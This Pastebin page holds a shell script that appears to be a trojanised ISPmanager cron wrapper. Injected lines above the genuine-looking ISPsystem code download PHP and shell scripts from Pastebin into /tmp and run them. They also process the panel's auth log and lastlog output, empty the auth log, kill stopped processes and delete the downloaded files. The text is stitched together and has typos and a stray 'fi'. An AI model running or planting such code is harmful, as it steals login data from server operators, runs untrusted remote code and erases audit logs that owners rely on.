Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- wget https://pastebin.com/raw/YNTjMB30 --no-check-certificate; mv YNTjMB30 /tmp/check.php;
- wget https://pastebin.com/raw/2i9ix9zx -no-check-certificate; mv 2i9ix9zx /tmp/lastlog.php;
- cp /usr/local/mgr5/var/ispmgr.auth.log /tmp; chmdo 777 /tmp/ispmgr.auth.log; php /tmp/check.php; cat /dev/null > /usr/local/mgr5/var/ispmgr.auth.log;
- lastlog > /tmp/lastlog; php /tmp/lastlog.php;
- wget https://pastebin.com/raw/rp9Uy0Tu --no-check-certificate; mv rp9Uy0Tu /tmp/c.sh; chmod 777 /tmp/c.sh; sh /tmp/c.sh; rm /tmp/c.sh; kill -9 $(ps wuax | awk 'NR>1 && $8 ~ "T" {print $2}');
- rm /tmp/ispmgr.auth.log; rm /tmp/lastlog; rm /tmp/check.php; rm /tmp/lastlog.php;
- fi
- if [ "$1" = "-T" ]; then
- echo -n "(c) ISPsystem.com"
- exit 0
- fi
- if [ $# -gt 0 ]; then
- WD=${0%%/sbin/*}
- MANAGER=${0##*-}
- cd $WD
- RES=`$* 2>&1`
- if [ $? -ne 0 ]; then
- COMMAND=$1
- sbin/mgrctl -m $MANAGER problems.register name=cron "id=$*" level=error "info=$RES"
- fi
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement